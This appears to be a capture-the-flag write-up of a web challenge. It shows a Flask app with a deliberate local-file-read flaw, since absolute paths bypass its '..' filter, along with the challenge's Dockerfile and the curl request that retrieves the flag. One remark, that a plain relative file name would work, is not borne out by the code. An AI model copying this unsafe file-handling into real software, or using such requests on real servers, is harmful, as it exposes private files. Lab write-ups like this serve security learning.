- Published on
NED CTF'23 - Web - Inclusion
- Authors
- Name
- Ali Taqi Wajid
- @alitaqiwajid
Challenge Description
"A path to explore, a journey to embark. The challenge is hidden, but not in the dark. Traverse the way, and find your mark. The flag is waiting, for you to hark."
Author: Saad Akhtar
Solution
The challenge description is a hint to the challenge. The challenge is a simple file inclusion challenge. Downloading the files, we see the following files are given to us:
Now, let's checkout app.py
import os
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
file_name = request.args.get("file")
if file_name is None:
return "No file name specified."
if ".." in file_name:
return "Invalid file name."
file_path = os.path.join("/dev/null", file_name)
try:
with open(file_path, "r") as f:
contents = f.read()
return contents
except:
return "The file does not exist or cannot be opened."
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5001)
Well, we can see that, we need to provide an argument file
to the server, which will be used to open a file. Now, the /dev/null
is being used with os.path.join
, however, it doesn't have any effect on the file path. So, we can simply use a parameter like file=flag.txt
to get the flag. However, the ..
is being filtered, so we can't use file=../flag.txt
. So, let's look at the Dockerfile
and see where the flag is being stored
FROM python:3.9-alpine
WORKDIR /app
COPY app.py /app/
COPY flag.txt /
RUN pip install flask
EXPOSE 5001
CMD ["python3", "app.py"]
Well, the flag is being copied to /
, so, if we pass the following parameter ?file=/flag.txt
, we can get the flag, let's get the flag:
$ curl http://159.223.192.150:5001?file=/flag.txt
Flag: NCC{l0c4l_f1l3_1nclu5i0n_ex!sts}